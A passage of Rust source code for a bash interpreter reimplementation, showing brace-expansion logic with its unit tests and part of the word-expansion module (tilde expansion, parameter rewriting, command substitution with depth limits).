bad brace expansion\"),\n            exit_code: 1,\n            should_exit: false,\n        });\n    }\n    if !(same_digit_class || same_lower_class || same_upper_class) {\n        return Ok(None);\n    }\n\n    let step = if parts.len() == 3 {\n        match parts[2].parse::<i64>() {\n            Ok(step) => step.unsigned_abs().max(1) as usize,\n            Err(_) => return Ok(None),\n        }\n    } else {\n        1\n    };\n\n    let start_u = start_ch as u32;\n    let end_u = end_ch as u32;\n\n    let mut result = Vec::new();\n    if start_u <= end_u {\n        let mut val = start_u;\n        while val <= end_u {\n            if let Some(c) = char::from_u32(val) {\n                result.push(c.to_string());\n            }\n            val = match val.checked_add(step as u32) {\n                Some(v) => v,\n                None => break,\n            };\n        }\n    } else {\n        let mut val = start_u as i64;\n        let end_i = end_u as i64;\n        while val >= end_i {\n            if let Some(c) = char::from_u32(val as u32) {\n                result.push(c.to_string());\n            }\n            val = match val.checked_sub(step as i64) {\n                Some(v) => v,\n                None => break,\n            };\n        }\n    }\n    Ok(Some(result))\n}\n\nfn parse_single_char(s: &str) -> Option<char> {\n    let mut chars = s.chars();\n    let c = chars.next()?;\n    if chars.next().is_some() {\n        return None;\n    }\n    Some(c)\n}\n\n/// Determine zero-padding width from a numeric string.\nfn zero_pad_width(s: &str) -> usize {\n    let s = s.strip_prefix('-').unwrap_or(s);\n    if s.len() > 1 && s.starts_with('0') {\n        s.len()\n    } else {\n        0\n    }\n}\n\n/// Format an integer with optional zero-padding.\nfn format_padded(val: i64, width: usize) -> String {\n    if width > 0 {\n        if val < 0 {\n            format!(\"-{:0>width$}\", -val, width = width)\n        } else {\n            format!(\"{:0>width$}\", val, width = width)\n        }\n    } else {\n        val.to_string()\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    const LIMIT: usize = 10_000;\n\n    #[test]\n    fn comma_alternation() {\n        assert_eq!(brace_expand(\"{a,b,c}\", LIMIT).unwrap(), vec![\"a\", \"b\", \"c\"]);\n    }\n\n    #[test]\n    fn comma_with_prefix_suffix() {\n        assert_eq!(\n            brace_expand(\"file{1,2,3}.txt\", LIMIT).unwrap(),\n            vec![\"file1.txt\", \"file2.txt\", \"file3.txt\"]\n        );\n    }\n\n    #[test]\n    fn prefix_and_suffix() {\n        assert_eq!(\n            brace_expand(\"pre{a,b}post\", LIMIT).unwrap(),\n            vec![\"preapost\", \"prebpost\"]\n        );\n    }\n\n    #[test]\n    fn nested_braces() {\n        assert_eq!(\n            brace_expand(\"{a,b{1,2}}\", LIMIT).unwrap(),\n            vec![\"a\", \"b1\", \"b2\"]\n        );\n    }\n\n    #[test]\n    fn deeply_nested() {\n        assert_eq!(\n            brace_expand(\"{a,{b,{c,d}}}\", LIMIT).unwrap(),\n            vec![\"a\", \"b\", \"c\", \"d\"]\n        );\n    }\n\n    #[test]\n    fn single_item_no_expansion() {\n        assert_eq!(brace_expand(\"{a}\", LIMIT).unwrap(), vec![\"{a}\"]);\n    }\n\n    #[test]\n    fn empty_braces_no_expansion() {\n        assert_eq!(brace_expand(\"{}\", LIMIT).unwrap(), vec![\"{}\"]);\n    }\n\n    #[test]\n    fn empty_alternative() {\n        assert_eq!(brace_expand(\"{a,}\", LIMIT).unwrap(), vec![\"a\", \"\"]);\n    }\n\n    #[test]\n    fn two_empty_alternatives() {\n        assert_eq!(brace_expand(\"{,}\", LIMIT).unwrap(), vec![\"\", \"\"]);\n    }\n\n    #[test]\n    fn backup_idiom() {\n        assert_eq!(\n            brace_expand(\"file{,.bak}\", LIMIT).unwrap(),\n            vec![\"file\", \"file.bak\"]\n        );\n    }\n\n    #[test]\n    fn numeric_sequence() {\n        assert_eq!(\n            brace_expand(\"{1..5}\", LIMIT).unwrap(),\n            vec![\"1\", \"2\", \"3\", \"4\", \"5\"]\n        );\n    }\n\n    #[test]\n    fn numeric_sequence_reverse() {\n        assert_eq!(\n            brace_expand(\"{5..1}\", LIMIT).unwrap(),\n            vec![\"5\", \"4\", \"3\", \"2\", \"1\"]\n        );\n    }\n\n    #[test]\n    fn numeric_sequence_with_step() {\n        assert_eq!(\n            brace_expand(\"{1..10..2}\", LIMIT).unwrap(),\n            vec![\"1\", \"3\", \"5\", \"7\", \"9\"]\n        );\n    }\n\n    #[test]\n    fn numeric_sequence_negative_step_ignored() {\n        assert_eq!(\n            brace_expand(\"{5..1..-2}\", LIMIT).unwrap(),\n            vec![\"5\", \"3\", \"1\"]\n        );\n    }\n\n    #[test]\n    fn sequence_single_element() {\n        assert_eq!(brace_expand(\"{3..3}\", LIMIT).unwrap(), vec![\"3\"]);\n    }\n\n    #[test]\n    fn char_sequence() {\n        let result = brace_expand(\"{a..z}\", LIMIT).unwrap();\n        assert_eq!(result.len(), 26);\n        assert_eq!(result[0], \"a\");\n        assert_eq!(result[25], \"z\");\n    }\n\n    #[test]\n    fn char_sequence_reverse() {\n        let result = brace_expand(\"{z..a}\", LIMIT).unwrap();\n        assert_eq!(result.len(), 26);\n        assert_eq!(result[0], \"z\");\n        assert_eq!(result[25], \"a\");\n    }\n\n    #[test]\n    fn char_sequence_with_step() {\n        assert_eq!(\n            brace_expand(\"{a..z..5}\", LIMIT).unwrap(),\n            vec![\"a\", \"f\", \"k\", \"p\", \"u\", \"z\"]\n        );\n    }\n\n    #[test]\n    fn parameter_expansion_not_affected() {\n        assert_eq!(brace_expand(\"${VAR}\", LIMIT).unwrap(), vec![\"${VAR}\"]);\n    }\n\n    #[test]\n    fn parameter_expansion_with_braces() {\n        assert_eq!(\n            brace_expand(\"${X}{a,b}\", LIMIT).unwrap(),\n            vec![\"${X}a\", \"${X}b\"]\n        );\n    }\n\n    #[test]\n    fn command_substitution_not_affected() {\n        assert_eq!(\n            brace_expand(\"$(echo hi)\", LIMIT).unwrap(),\n            vec![\"$(echo hi)\"]\n        );\n    }\n\n    #[test]\n    fn command_substitution_with_comma_in_alternatives() {\n        assert_eq!(\n            brace_expand(\"{$(echo a,b),c}\", LIMIT).unwrap(),\n            vec![\"$(echo a,b)\", \"c\"]\n        );\n    }\n\n    #[test]\n    fn unmatched_brace_literal() {\n        assert_eq!(brace_expand(\"{a\", LIMIT).unwrap(), vec![\"{a\"]);\n    }\n\n    #[test]\n    fn limit_exceeded() {\n        let result = brace_expand(\"{1..20000}\", 100);\n        assert!(result.is_err());\n    }\n\n    #[test]\n    fn numeric_zero_padded() {\n        assert_eq!(\n            brace_expand(\"{01..03}\", LIMIT).unwrap(),\n            vec![\"01\", \"02\", \"03\"]\n        );\n    }\n\n    #[test]\n    fn negative_range() {\n        assert_eq!(\n            brace_expand(\"{-2..2}\", LIMIT).unwrap(),\n            vec![\"-2\", \"-1\", \"0\", \"1\", \"2\"]\n        );\n    }\n\n    #[test]\n    fn multiple_brace_groups() {\n        assert_eq!(\n            brace_expand(\"{a,b}{1,2}\", LIMIT).unwrap(),\n            vec![\"a1\", \"a2\", \"b1\", \"b2\"]\n        );\n    }\n\n    #[test]\n    fn non_ascii_content() {\n        assert_eq!(\n            brace_expand(\"{café,bar}\", LIMIT).unwrap(),\n            vec![\"café\", \"bar\"]\n        );\n    }\n\n    #[test]\n    fn literal_brace_prefix_allows_later_group_expansion() {\n        assert_eq!(\n            brace_expand(\"{x}_{a,b}\", LIMIT).unwrap(),\n            vec![\"{x}_a\", \"{x}_b\"]\n        );\n    }\n\n    #[test]\n    fn zero_step_matches_bash_behavior() {\n        assert_eq!(\n            brace_expand(\"{1..4..0}\", LIMIT).unwrap(),\n            vec![\"1\", \"2\", \"3\", \"4\"]\n        );\n    }\n\n    #[test]\n    fn mixed_case_char_range_errors() {\n        let err = brace_expand(\"{z..A}\", LIMIT).unwrap_err();\n        assert!(matches!(err, RustBashError::ExpansionError { .. }));\n    }\n\n    #[test]\n    fn mixed_numeric_char_ranges_are_literal() {\n        assert_eq!(brace_expand(\"{1..a}\", LIMIT).unwrap(), vec![\"{1..a}\"]);\n        assert_eq!(brace_expand(\"{z..3}\", LIMIT).unwrap(), vec![\"{z..3}\"]);\n    }\n}\n","/home/user/src/interpreter/expansion.rs":"//! Word expansion: parameter expansion, tilde expansion, special variables,\n//! IFS-based word splitting, and quoting correctness.\n\nuse crate::error::RustBashError;\nuse crate::interpreter::builtins::resolve_path;\nuse crate::interpreter::pattern;\nuse crate::interpreter::walker::{clone_commands, execute_program};\nuse crate::interpreter::{\n    ExecutionCounters, InterpreterState, next_random, parse, parser_options, set_assoc_element,\n    set_variable,\n};\n\nuse crate::vfs::GlobOptions;\nuse brush_parser::ast;\nuse brush_parser::word::{\n    Parameter, ParameterExpr, ParameterTestType, SpecialParameter, SubstringMatchKind, WordPiece,\n};\nuse std::collections::HashMap;\n\n// ── Word expansion intermediate types ───────────────────────────────\n\n/// A segment of expanded text tracking quoting properties.\n#[derive(Debug, Clone)]\nstruct Segment {\n    text: String,\n    /// If true, this segment came from a quoted context (single quotes, double\n    /// quotes, escape sequences, or literal text) and must not be IFS-split.\n    quoted: bool,\n    /// If true, glob metacharacters in this segment are protected from expansion.\n    /// True for single-quoted, double-quoted, and escape-sequence text.\n    /// False for unquoted literal text and unquoted parameter expansions.\n    glob_protected: bool,\n    /// True for synthetic empty fields created by unquoted `$@` / `${arr[@]}`\n    /// with non-whitespace IFS delimiters.\n    synthetic_empty: bool,\n}\n\n/// A word being assembled from multiple segments during expansion.\ntype WordInProgress = Vec<Segment>;\n\n// ── Public entry points ─────────────────────────────────────────────\n\n/// Expand a word into a list of strings (with IFS splitting on unquoted parts).\n///\n/// Most expansions produce a single word. `\"$@\"` in double-quotes produces\n/// one word per positional parameter. Unquoted `$VAR` where VAR contains\n/// IFS characters may produce multiple words. Unquoted glob metacharacters\n/// are expanded against the filesystem.\npub fn expand_word(\n    word: &ast::Word,\n    state: &InterpreterState,\n) -> Result<Vec<String>, RustBashError> {\n    // Brace expansion first — operates on raw word text before parsing.\n    let brace_expanded =\n        crate::interpreter::brace::brace_expand(&word.value, state.limits.max_brace_expansion)?;\n\n    let mut all_results = Vec::new();\n    for raw in &brace_expanded {\n        let sub_word = ast::Word {\n            value: raw.clone(),\n            loc: word.loc.clone(),\n        };\n        let words = expand_word_segments(&sub_word, state)?;\n        let split = finalize_with_ifs_split(words, state);\n        let expanded = glob_expand_words(split, state)?;\n        all_results.extend(expanded);\n    }\n    Ok(all_results)\n}\n\n/// Mutable variant of expand_word for expansions that assign (e.g. `${VAR:=default}`).\npub(crate) fn expand_word_mut(\n    word: &ast::Word,\n    state: &mut InterpreterState,\n) -> Result<Vec<String>, RustBashError> {\n    let brace_expanded =\n        crate::interpreter::brace::brace_expand(&word.value, state.limits.max_brace_expansion)?;\n\n    let mut all_results = Vec::new();\n    for raw in &brace_expanded {\n        let sub_word = ast::Word {\n            value: raw.clone(),\n            loc: word.loc.clone(),\n        };\n        let words = expand_word_segments_mut(&sub_word, state)?;\n        let split = finalize_with_ifs_split(words, state);\n        let expanded = glob_expand_words(split, state)?;\n        all_results.extend(expanded);\n    }\n    Ok(all_results)\n}\n\n/// Expand a word to a single string without IFS splitting\n/// (for assignments, redirections, case values, etc.).\n///\n/// Brace expansion is NOT applied here — assignments like `X={a,b}` keep\n/// literal braces, matching bash behavior.\n/// Expand a word to a single string (no word splitting or globbing).\npub(crate) fn expand_word_to_string_mut(\n    word: &ast::Word,\n    state: &mut InterpreterState,\n) -> Result<String, RustBashError> {\n    let words = expand_word_segments_mut(word, state)?;\n    let result = finalize_no_split(words);\n    let joined = result.join(\" \");\n    if joined.len() > state.limits.max_string_length {\n        return Err(RustBashError::LimitExceeded {\n            limit_name: \"max_string_length\",\n            limit_value: state.limits.max_string_length,\n            actual_value: joined.len(),\n        });\n    }\n    Ok(joined)\n}\n\n// ── Internal segment-based expansion ────────────────────────────────\n\nfn expand_word_segments(\n    word: &ast::Word,\n    state: &InterpreterState,\n) -> Result<Vec<WordInProgress>, RustBashError> {\n    validate_length_transform_syntax(&word.value)?;\n    validate_empty_slice_syntax(&word.value)?;\n    let mut options = parser_options();\n    // Tilde expansion after ':' is only valid in assignment context, not in\n    // regular command arguments (e.g., `echo foo:~` should NOT expand).\n    options.tilde_expansion_after_colon = false;\n    let rewritten = rewrite_special_case_word_syntax(&word.value, state);\n    let assignment_like = expand_assignment_like_tilde_bug(&rewritten, state);\n    let pieces = brush_parser::word::parse(&assignment_like, &options)\n        .map_err(|e| RustBashError::Parse(e.to_string()))?;\n    if pieces\n        .iter()\n        .all(|piece| matches!(piece.piece, WordPiece::Text(_)))\n        && assignment_like.starts_with(\"${\")\n        && assignment_like.ends_with('}')\n    {\n        validate_unparsed_dollar_brace_word(&assignment_like)?;\n    }\n\n    let mut words: Vec<WordInProgress> = vec![Vec::new()];\n    for piece_ws in &pieces {\n        expand_word_piece(&piece_ws.piece, &mut words, state, false)?;\n    }\n    Ok(words)\n}\n\nfn expand_word_segments_mut(\n    word: &ast::Word,\n    state: &mut InterpreterState,\n) -> Result<Vec<WordInProgress>, RustBashError> {\n    validate_length_transform_syntax(&word.value)?;\n    validate_empty_slice_syntax(&word.value)?;\n    let mut options = parser_options();\n    options.tilde_expansion_after_colon = false;\n    let rewritten = rewrite_special_case_word_syntax(&word.value, state);\n    let assignment_like = expand_assignment_like_tilde_bug(&rewritten, state);\n    let pieces = brush_parser::word::parse(&assignment_like, &options)\n        .map_err(|e| RustBashError::Parse(e.to_string()))?;\n    if pieces\n        .iter()\n        .all(|piece| matches!(piece.piece, WordPiece::Text(_)))\n        && assignment_like.starts_with(\"${\")\n        && assignment_like.ends_with('}')\n    {\n        validate_unparsed_dollar_brace_word(&assignment_like)?;\n    }\n\n    let mut words: Vec<WordInProgress> = vec![Vec::new()];\n    for piece_ws in &pieces {\n        expand_word_piece_mut(&piece_ws.piece, &mut words, state, false)?;\n    }\n    Ok(words)\n}\n\n/// Pre-expand tilde prefixes in assignment-like words (e.g. `VAR=~/path`\n/// and `VAR=foo:~/bar`). This operates on the raw word string BEFORE the\n/// parser runs, so the parser sees the expanded HOME path as literal text.\nfn expand_assignment_like_tilde_bug(word: &str, state: &InterpreterState) -> String {\n    if word.contains(['\"', '\\'', '\\\\', '$', '`']) {\n        return word.to_string();\n    }\n\n    let Some((name, value)) = word.split_once('=') else {\n        return word.to_string();\n    };\n\n    if !is_assignment_like_name(name) {\n        return word.to_string();\n    }\n\n    // Expand tilde prefixes in each colon-separated segment of the value.\n    let home = get_var(state, \"HOME\").unwrap_or_default();\n    let mut out = String::with_capacity(word.len());\n    let mut any_expanded = false;\n    let mut first = true;\n    for segment in value.split(':') {\n        if !first {\n            out.push(':');\n        }\n        first = false;\n        if let Some(after_tilde) = segment.strip_prefix('~')\n            && let Some(expanded) = expand_tilde_prefix_in_assignment(after_tilde, &home, state)\n        {\n            out.push_str(&expanded);\n            any_expanded = true;\n            continue;\n        }\n        out.push_str(segment);\n    }\n    if any_expanded {\n        format!(\"{name}={out}\")\n    } else {\n        word.to_string()\n    }\n}\n\n/// Try to expand a tilde prefix. `after_tilde` is the text after the `~`.\n/// Returns Some(expanded_segment) or None if the tilde shouldn't expand.\nfn expand_tilde_prefix_in_assignment(\n    after_tilde: &str,\n    home: &str,\n    state: &InterpreterState,\n) -> Option<String> {\n    // Split at the first '/' to get the username portion\n    let (user, rest) = match after_tilde.find('/') {\n        Some(pos) => (&after_tilde[..pos], &after_tilde[pos..]),\n        None => (after_tilde, \"\"),\n    };\n    match user {\n        \"\" if !home.is_empty() => Some(format!(\"{home}{rest}\")),\n        \"root\" => Some(format!(\"/root{rest}\")),\n        \"+\" => {\n            let pwd = get_var(state, \"PWD\").unwrap_or_default();\n            Some(format!(\"{pwd}{rest}\"))\n        }\n        \"-\" => {\n            let oldpwd = get_var(state, \"OLDPWD\").unwrap_or_default();\n            Some(format!(\"{oldpwd}{rest}\"))\n        }\n        _ => None,\n    }\n}\n\nfn rewrite_special_case_word_syntax(word: &str, state: &InterpreterState) -> String {\n    let rewritten = word.replace(\"///}\", \"//\\\\//}\");\n    let rewritten = rewrite_assoc_indirect_attr_special_cases(&rewritten, state);\n    rewrite_ambiguous_substring_ternaries(&rewritten)\n}\n\nfn rewrite_assoc_indirect_attr_special_cases(word: &str, state: &InterpreterState) -> String {\n    let mut out = String::with_capacity(word.len());\n    let mut i = 0usize;\n    while let Some(rel_start) = word[i..].find(\"${!\") {\n        let start = i + rel_start;\n        out.push_str(&word[i..start]);\n        let mut j = start + 3;\n        while j < word.len() {\n            let ch = word.as_bytes()[j];\n            if ch.is_ascii_alphanumeric() || ch == b'_' {\n                j += 1;\n            } else {\n                break;\n            }\n        }\n        if j == start + 3 {\n            out.push_str(\"${!\");\n            i = j;\n            continue;\n        }\n\n        let name = &word[start + 3..j];\n        let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n        let is_assoc = state.env.get(&resolved).is_some_and(|var| {\n            matches!(\n                var.value,\n                crate::interpreter::VariableValue::AssociativeArray(_)\n            )\n        });\n\n        let rest = &word[j..];\n        if is_assoc && (rest.starts_with(\"@a}\") || rest.starts_with(\"[@]@a}\")) {\n            i = j + if rest.starts_with(\"@a}\") { 3 } else { 6 };\n            continue;\n        }\n\n        out.push_str(\"${!\");\n        out.push_str(name);\n        i = j;\n    }\n    out.push_str(&word[i..]);\n    out\n}\n\nfn rewrite_ambiguous_substring_ternaries(word: &str) -> String {\n    let mut out = String::with_capacity(word.len());\n    let mut i = 0usize;\n\n    while let Some(rel_start) = word[i..].find(\"${\") {\n        let start = i + rel_start;\n        out.push_str(&word[i..start]);\n\n        let Some((body, end)) = take_parameter_body(word, start + 2) else {\n            out.push_str(&word[start..]);\n            return out;\n        };\n\n        out.push_str(\"${\");\n        out.push_str(&rewrite_parameter_body_ambiguous_slice(body));\n        out.push('}');\n        i = end + 1;\n    }\n\n    out.push_str(&word[i..]);\n    out\n}\n\nfn take_parameter_body(word: &str, start: usize) -> Option<(&str, usize)> {\n    let bytes = word.as_bytes();\n    let mut depth = 1usize;\n    let mut i = start;\n    while i < bytes.len() {\n        match bytes[i] {\n            b'{' => depth += 1,\n            b'}' => {\n                depth -= 1;\n                if depth == 0 {\n                    return Some((&word[start..i], i));\n                }\n            }\n            _ => {}\n        }\n        i += 1;\n    }\n    None\n}\n\nfn rewrite_parameter_body_ambiguous_slice(body: &str) -> String {\n    let bytes = body.as_bytes();\n    let mut i = 0usize;\n    while i < bytes.len() && (bytes[i].is_ascii_alphanumeric() || bytes[i] == b'_') {\n        i += 1;\n    }\n    if i == 0 || i >= bytes.len() || bytes[i] != b':' {\n        return body.to_string();\n    }\n\n    let mut bracket_depth = 0usize;\n    let mut colon_positions = Vec::new();\n    let mut question_seen = false;\n    for (offset, ch) in body[i + 1..].char_indices() {\n        match ch {\n            '[' => bracket_depth += 1,\n            ']' if bracket_depth > 0 => bracket_depth -= 1,\n            '?' if bracket_depth == 0 => question_seen = true,\n            ':' if bracket_depth == 0 => colon_positions.push(i + 1 + offset),\n            _ => {}\n        }\n    }\n\n    if !question_seen || colon_positions.len() < 2 {\n        return body.to_string();\n    }\n\n    let split = *colon_positions.last().unwrap();\n    let param = &body[..i];\n    let offset_expr = &body[i + 1..split];\n    let length_expr = &body[split + 1..];\n    format!(\"{param}:$(({offset_expr})):{}\", length_expr.trim_start())\n}\n\nfn is_assignment_like_name(name: &str) -> bool {\n    // Accept plain variable names and array subscripts like `a[0]`, `A['x']`.\n    let base = if let Some(bracket_pos) = name.find('[') {\n        if !name.ends_with(']') {\n            return false;\n        }\n        &name[..bracket_pos]\n    } else {\n        name\n    };\n    !base.is_empty()\n        && base.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')\n        && !base.starts_with(|c: char| c.is_ascii_digit())\n}\n\n// ── Segment helpers ─────────────────────────────────────────────────\n\n/// Append text to the last word with the given quotedness.\n/// Merges with the previous segment when quotedness matches.\n/// Unquoted empty text is silently discarded; quoted empty text is preserved\n/// so that `\"\"` and `\"$EMPTY\"` still produce one empty word.\nfn push_segment(words: &mut Vec<WordInProgress>, text: &str, quoted: bool, glob_protected: bool) {\n    if text.is_empty() && !quoted {\n        return;\n    }\n    if words.is_empty() {\n        words.push(Vec::new());\n    }\n    let word = words.last_mut().unwrap();\n    if let Some(last) = word.last_mut()\n        && last.quoted == quoted\n        && last.glob_protected == glob_protected\n        && !last.synthetic_empty\n    {\n        last.text.push_str(text);\n        return;\n    }\n    word.push(Segment {\n        text: text.to_string(),\n        quoted,\n        glob_protected,\n        synthetic_empty: false,\n    });\n}\n\nfn push_synthetic_empty_segment(words: &mut Vec<WordInProgress>) {\n    if words.is_empty() {\n        words.push(Vec::new());\n    }\n    words.last_mut().unwrap().push(Segment {\n        text: String::new(),\n        quoted: false,\n        glob_protected: false,\n        synthetic_empty: true,\n    });\n}\n\n/// Start a new (empty) word in the word list.\nfn start_new_word(words: &mut Vec<WordInProgress>) {\n    words.push(Vec::new());\n}\n\n/// Check if a parsed program is a redirect-only simple command (no command\n/// word, just input redirections like `< file`).  If so, return the filename\n/// `Word` from the first input redirect.  This supports the `$(< file)` idiom\n/// where bash reads the file contents directly instead of executing a command.\nfn try_extract_redirect_only_filename(program: &ast::Program) -> Option<&ast::Word> {\n    // Must be exactly one complete command\n    let items = &program.complete_commands;\n    if items.len() != 1 {\n        return None;\n    }\n    let compound_list = &items[0];\n    if compound_list.0.len() != 1 {\n        return None;\n    }\n    let and_or = &compound_list.0[0].0;\n    // No AND/OR chaining\n    if !and_or.additional.is_empty() {\n        return None;\n    }\n    let pipeline = &and_or.first;\n    // No pipeline chaining, no bang/time\n    if pipeline.seq.len() != 1 || pipeline.bang || pipeline.timed.is_some() {\n        return None;\n    }\n    let cmd = match &pipeline.seq[0] {\n        ast::Command::Simple(sc) => sc,\n        _ => return None,\n    };\n    // No command word, no suffix (no args)\n    if cmd.word_or_name.is_some() || cmd.suffix.is_some() {\n        return None;\n    }\n    // Prefix must exist and contain exactly one item: an input file redirect\n    let prefix = cmd.prefix.as_ref()?;\n    if prefix.0.len() != 1 {\n        return None;\n    }\n    match &prefix.0[0] {\n        ast::CommandPrefixOrSuffixItem::IoRedirect(ast::IoRedirect::File(\n            None | Some(0),\n            ast::IoFileRedirectKind::Read,\n            ast::IoFileRedirectTarget::Filename(word),\n        )) => Some(word),\n        _ => None,\n    }\n}\n\n/// Execute a command substitution: parse and run the command in a subshell,\n/// capture stdout, strip trailing newlines, and update `$?` in the parent.\nfn execute_command_substitution(\n    cmd_str: &str,\n    state: &mut InterpreterState,\n) -> Result<String, RustBashError> {\n    state.counters.substitution_depth += 1;\n    if state.counters.substitution_depth > state.limits.max_substitution_depth {\n        let actual = state.counters.substitution_depth;\n        state.counters.substitution_depth -= 1;\n        return Err(RustBashError::LimitExceeded {\n            limit_name: \"max_substitution_depth\",\n            limit_value: state.limits.max_substitution_depth,\n            actual_value: actual,\n        });\n    }\n\n    let program = match parse(cmd_str) {\n        Ok(p) => p,\n        Err(e) => {\n            state.counters.substitution_depth -= 1;\n            return Err(e);\n        }\n    };\n\n    // Special case: $(< file) idiom — read file contents directly\n    if let Some(word) = try_extract_redirect_only_filename(&program) {\n        let result = (|| -> Result<String, RustBashError> {\n            let filename = expand_word_to_string_mut(word, state)?;\n            let path = resolve_path(&state.cwd, &filename);\n            let content = state\n                .fs\n                .read_file(std::path::Path::new(&path))\n                .map_err(|e| RustBashError::RedirectFailed(format!(\"{filename}: {e}\")))?;\n            state.last_exit_code = 0;\n            let output = String::from_utf8_lossy(&content);\n            let trimmed = output.trim_end_matches('\\n');\n            Ok(trimmed.to_string())\n        })();\n        state.counters.substitution_depth -= 1;\n        return result;\n    }\n\n    // Create an isolated subshell state\n    let cloned_fs = state.fs.deep_clone();\n    let child_pid = crate::interpreter::next_child_pid(state);\n\n    let mut sub_state = InterpreterState {\n        fs: cloned_fs,\n        env: state.env.clone(),\n        cwd: state.cwd.clone(),\n        functions: state.functions.clone(),\n        last_exit_code: state.last_exit_code,\n        commands: clone_commands(&state.commands),\n        shell_opts: state.shell_opts.clone(),\n        shopt_opts: state.shopt_opts.clone(),\n        limits: state.limits.clone(),\n        counters: ExecutionCounters {\n            command_count: state.counters.command_count,\n            output_size: state.counters.output_size,\n            start_time: state.counters.start_time,\n            substitution_depth: state.counters.substitution_depth,\n            call_depth: 0,\n        },\n        network_policy: state.network_policy.clone(),\n        should_exit: false,\n        abort_command_list: false,\n        loop_depth: 0,\n        control_flow: None,\n        positional_params: state.positional_params.clone(),\n        shell_name: state.shell_name.clone(),\n        shell_pid: state.shell_pid,\n        bash_pid: child_pid,\n        parent_pid: state.bash_pid,\n        next_process_id: state.next_process_id,\n        last_background_pid: None,\n        last_background_status: None,\n        interactive_shell: state.interactive_shell,\n        invoked_with_c: state.invoked_with_c,\n        random_seed: state.random_seed,\n        local_scopes: Vec::new(),\n        temp_binding_scopes: Vec::new(),\n        in_function_depth: 0,\n        source_depth: state.source_depth,\n        getopts_subpos: state.getopts_subpos,\n        getopts_args_signature: state.getopts_args_signature.clone(),\n        traps: HashMap::new(),\n        in_trap: false,\n        errexit_suppressed: state.errexit_suppressed,\n        errexit_bang_suppressed: state.errexit_bang_suppressed,\n        stdin_offset: 0,\n        current_stdin_persistent_fd: None,\n        dir_stack: state.dir_stack.clone(),\n        command_hash: state.command_hash.clone(),\n        aliases: state.aliases.clone(),\n        current_lineno: state.current_lineno,\n        current_source: state.current_source.clone(),\n        current_source_text: state.current_source_text.clone(),\n        last_verbose_line: state.last_verbose_line,\n        shell_start_time: state.shell_start_time,\n        last_argument: state.last_argument.clone(),\n        call_stack: state.call_stack.clone(),\n        machtype: state.machtype.clone(),\n        hosttype: state.hosttype.clone(),\n        persistent_fds: state.persistent_fds.clone(),\n        persistent_fd_offsets: state.persistent_fd_offsets.clone(),\n        next_auto_fd: state.next_auto_fd,\n        proc_sub_counter: state.proc_sub_counter,\n        proc_sub_prealloc: HashMap::new(),\n        pipe_stdin_bytes: None,\n        pending_cmdsub_stderr: String::new(),\n        pending_test_stderr: String::new(),\n        fatal_expansion_error: false,\n        last_command_had_error: false,\n        last_status_immune_to_errexit: false,\n        script_source: None,\n    };\n\n    let result = execute_program(&program, &mut sub_state);\n\n    // Fold shared counters back into parent\n    state.counters.command_count = sub_state.counters.command_count;\n    state.counters.output_size = sub_state.counters.output_size;\n    state.counters.substitution_depth -= 1;\n    crate::interpreter::fold_child_process_state(state, &sub_state);\n    state.last_verbose_line = state.last_verbose_line.max(sub_state.last_verbose_line);\n\n    let mut result = result?;\n\n    // $? reflects the exit code of the substituted command\n    state.last_exit_code = result.exit_code;\n\n    // In bash, stderr from command substitution passes through to the parent.\n    // Accumulate it so the enclosing command can include it in its ExecResult.\n    if !result.stderr.is_empty() {\n        state.pending_cmdsub_stderr.push_str(&result.stderr);\n    }\n\n    // Strip trailing newlines from captured stdout.\n    // When a command produced binary output, decode it lossily so command\n    // substitution still preserves the visible text portion instead of\n    // collapsing to the empty string.\n    let mut output = if let Some(bytes) = result.stdout_bytes.take() {\n        crate::shell_bytes::decode_shell_bytes(&bytes)\n    } else {\n        result.stdout\n    };\n    let trimmed_len = output.trim_end_matches('\\n').len();\n    output.truncate(trimmed_len);\n\n    Ok(output)\n}\n\nfn validate_unparsed_dollar_brace_word(word: &str) -> Result<(), RustBashError> {\n    if !(word.starts_with(\"${\") && word.ends_with('}')) {\n        return Ok(());\n    }\n\n    let body = &word[2..word.len() - 1];\n    if body.starts_with('|') {\n        return Err(bad_substitution_error(word));\n    }\n    let Some(end) = consume_parameter_reference_end(body.as_bytes()) else {\n        return Ok(());\n    };\n    let rest = &body[end..];\n    if rest.starts_with('&') || rest.starts_with(';') || rest.starts_with('|') {\n        return Err(bad_substitution_error(word));\n    }\n\n    Ok(())\n}\n\nfn bad_substitution_error(word: &str) -> RustBashError {\n    RustBashError::ExpansionError {\n        message: format!(\"{word}: bad substitution\"),\n        exit_code: 1,\n        should_exit: true,\n    }\n}\n\n// ── Piece expansion ─────────────────────────────────────────────────\n\n/// Expand a single word piece, appending segments to the last word.\n/// `in_dq` tracks whether we're inside double quotes.\n/// Returns `true` if the piece was a `\"$@\"` expansion with zero positional params.\nfn expand_word_piece(\n    piece: &WordPiece,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    let mut at_empty = false;\n    match piece {\n        WordPiece::Text(s) => {\n            // Literal text from the source — IFS-protected but glob-eligible\n            // unless we are inside double quotes.\n            push_segment(words, s, true, in_dq);\n        }\n        WordPiece::SingleQuotedText(s) => {\n            push_segment(words, s, true, true);\n        }\n        WordPiece::AnsiCQuotedText(s) => {\n            let expanded = expand_escape_sequences(s);\n            push_segment(words, &expanded, true, true);\n        }\n        WordPiece::DoubleQuotedSequence(pieces)\n        | WordPiece::GettextDoubleQuotedSequence(pieces) => {\n            let word_count_before = words.len();\n            let seg_count_before = words.last().map_or(0, Vec::len);\n            let mut saw_at_empty = false;\n            for inner in pieces {\n                if expand_word_piece(&inner.piece, words, state, true)? {\n                    saw_at_empty = true;\n                }\n            }\n            // If nothing was added, ensure the quoted context still produces an\n            // empty word (so `\"\"` → one empty word, not zero words).\n            // Exception: `\"$@\"` with zero params must produce zero words.\n            if words.len() == word_count_before\n                && words.last().map_or(0, Vec::len) == seg_count_before\n                && !saw_at_empty\n            {\n                push_segment(words, \"\", true, true);\n            }\n        }\n        WordPiece::EscapeSequence(s) => {\n            if let Some(c) = s.strip_prefix('\\\\') {\n                // In double quotes, only \\$, \\`, \\\", \\\\, and \\newline are special.\n                // Other \\X sequences should preserve the backslash.\n                if in_dq {\n                    match c {\n                        \"$\" | \"`\" | \"\\\"\" | \"\\\\\" | \"\\n\" => {\n                            push_segment(words, c, true, true);\n                        }\n                        _ => {\n                            push_segment(words, s, true, true);\n                        }\n                    }\n                } else 